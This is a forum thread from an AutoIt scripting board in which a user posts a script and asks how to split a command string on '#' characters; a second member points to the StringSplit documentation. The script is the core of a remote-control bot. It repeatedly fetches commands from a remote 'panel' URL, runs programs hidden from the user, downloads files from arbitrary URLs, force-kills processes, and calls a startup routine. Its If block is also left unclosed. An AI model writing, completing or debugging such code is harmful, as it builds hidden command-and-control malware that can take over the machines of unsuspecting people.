Jump to content
Sign in to follow this  
giangnguyen

The # in AutoIt

Recommended Posts

giangnguyen

I am making a script that is like this:

While (1)
    $con = _INetGetSource($panel) 
    sleep(1000)
    if $con then
    ExCmd()
    endif
    startup() ; Startup
    Sleep(3000)
WEnd
Func ExCmd()
    If StringInStr($con, "RUN#", 2) Then
        $cmd = StringSplit($con, "#")
        If StringInStr($con, "#SHOW", 2) Then
            Run($cmd[2])
        Else
            Run($cmd[2], "", @SW_HIDE)
        EndIf
        Sleep(7000)
            ElseIf StringInStr($con, "DOWNLOAD#", 2) Then
        $cmd = StringSplit($con, "#")
        InetGet($cmd[2], $cmd[3], 1, 0)
        Sleep(7000)
    ElseIf StringInStr($con, "KILL#", 2) Then
        $cmd = StringSplit($con, "#")
        Run("TASKKILL /F /IM " & $cmd[2] & ".exe", "", @SW_HIDE)
EndFunc

Can I make something that would make a variable in between the first 2 #, and another variable in the 2nd and 3rd #?

Share this post


Link to post
Share on other sites
AutoBert

Yes that's possible, Please have a look in the help to Language Reference - Operators and StringSplit, here specialy 2. Param.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×